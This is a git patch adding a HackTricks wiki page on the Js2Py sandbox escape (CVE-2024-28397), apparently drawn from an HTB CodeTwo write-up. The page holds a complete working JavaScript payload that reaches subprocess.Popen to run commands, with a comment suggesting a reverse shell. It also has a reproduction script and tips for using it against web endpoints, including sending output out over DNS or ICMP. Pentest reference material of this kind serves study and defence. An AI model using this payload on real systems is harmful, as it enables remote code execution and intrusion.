From 682ab9225308bb27e8a8aae84b601a52ad675918 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sat, 31 Jan 2026 18:33:17 +0000 Subject: [PATCH] Add content from: HTB: CodeTwo --- src/SUMMARY.md | 1 + .../python/bypass-python-sandboxes/README.md | 4 + .../js2py-sandbox-escape-cve-2024-28397.md | 79 +++++++++++++++++++ 3 files changed, 84 insertions(+) create mode 100644 src/generic-methodologies-and-resources/python/bypass-python-sandboxes/js2py-sandbox-escape-cve-2024-28397.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 2effde835b5..fb703d59538 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -75,6 +75,7 @@ - [Interesting Windows Registry Keys](generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md) - [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md) - [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) + - [Js2py Sandbox Escape Cve 2024 28397](generic-methodologies-and-resources/python/bypass-python-sandboxes/js2py-sandbox-escape-cve-2024-28397.md) - [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md) - [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md) - [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index e4cff9ebcab..c2ed6263d46 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -4,6 +4,10 @@ These are some tricks to bypass python sandbox protections and execute arbitrary commands. +{{#ref}} +js2py-sandbox-escape-cve-2024-28397.md +{{#endref}} + ## Command Execution Libraries diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/js2py-sandbox-escape-cve-2024-28397.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/js2py-sandbox-escape-cve-2024-28397.md new file mode 100644 index 00000000000..4c7dcafc63d --- /dev/null +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/js2py-sandbox-escape-cve-2024-28397.md @@ -0,0 +1,79 @@ +# Js2Py sandbox escape (CVE-2024-28397) + +{{#include ../../../banners/hacktricks-training.md}} + +Js2Py translates JavaScript into Python objects, so even when `js2py.disable_pyimport()` is used, untrusted JS can traverse Python internals to reach dangerous classes such as `subprocess.Popen`. Versions 20.74 allow abusing Python reflection primitives that Js2Py exposes to JS objects to obtain RCE from otherwise "sandboxed" JavaScript. + +## Primitive: pivot from JS object wrappers to Python objects + +1. **Get a Python-backed object**: `Object.getOwnPropertyNames({})` returns a `dict_keys` object in Python space. +2. **Recover attribute access**: grab `.__getattribute__` from that object and call it to read arbitrary attributes (e.g., `"__class__"`). +3. **Climb to `object`**: from `` read `.__base__` to reach Python's base `object`. +4. **Enumerate loaded classes**: call `object.__subclasses__()` to walk every class already loaded in the interpreter. +5. **Find `subprocess.Popen`**: recursively search subclasses where `__module__ == "subprocess"` and `__name__ == "Popen"`. +6. **Execute a command**: instantiate Popen with attacker-controlled arguments and invoke `.communicate()` to capture output. + +
+Example payload abusing Js2Py to reach subprocess.Popen + +```javascript +// Replace cmd with desired payload (reverse shell / ping / etc.) +let cmd = "id"; +let hacked, bymarve, n11; +let getattr, obj; + +hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) +bymarve = hacked.__getattribute__; +n11 = bymarve("__getattribute__"); // attribute access primitive +obj = n11("__class__").__base__; // pivot to +getattr = obj.__getattribute__; + +function findpopen(o) { + let result; + for (let i in o.__subclasses__()) { + let item = o.__subclasses__()[i]; + if (item.__module__ == "subprocess" && item.__name__ == "Popen") { + return item; + } + if (item.__name__ != "type" && (result = findpopen(item))) { + return result; + } + } +} + +// Popen(cmd, stdin/out/err pipes...) then .communicate() for output +n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); +console.log(n11); +n11; // returned to caller if framework sends eval_js result back +``` + +
+ +Why this works: Js2Py exposes Python object wrappers to JS without stripping `__getattribute__`, `__class__`, `__base__`, or `__subclasses__`. `disable_pyimport()` only blocks explicit `pyimport`, but the above chain never imports anything new; it reuses already-loaded modules and classes in memory. + +## Reproducing the chain locally + +```bash +# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing +uv run --with js2py==0.74 --python 3.11 python - <<'PY' +import js2py +print(js2py.eval_js("Object.getOwnPropertyNames({})")) # dict_keys([]) +print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__")) # method-wrapper +print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")")) +print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__")) +print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()")) +PY +``` + +## Operating against web sandboxes + +- Any endpoint that feeds attacker-controlled JS into `js2py.eval_js` (for example, a Flask `/run_code` API) is immediately RCE if the process user has shell access. +- Returning `jsonify({'result': result})` will fail when `.communicate()` returns bytes; decode or direct output to DNS/ICMP to avoid serialization blockers. +- `disable_pyimport()` **does not** mitigate this chain; hard isolation (separate process/container) or removing Js2Py execution of untrusted code is required. + +## References + +- [HTB: CodeTwo write-up (Js2Py CVE-2024-28397 escape)](https://0xdf.gitlab.io/2026/01/31/htb-codetwo.html) +- [Marven11 CVE-2024-28397 Js2Py sandbox escape PoC](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py) + +{{#include ../../../banners/hacktricks-training.md}}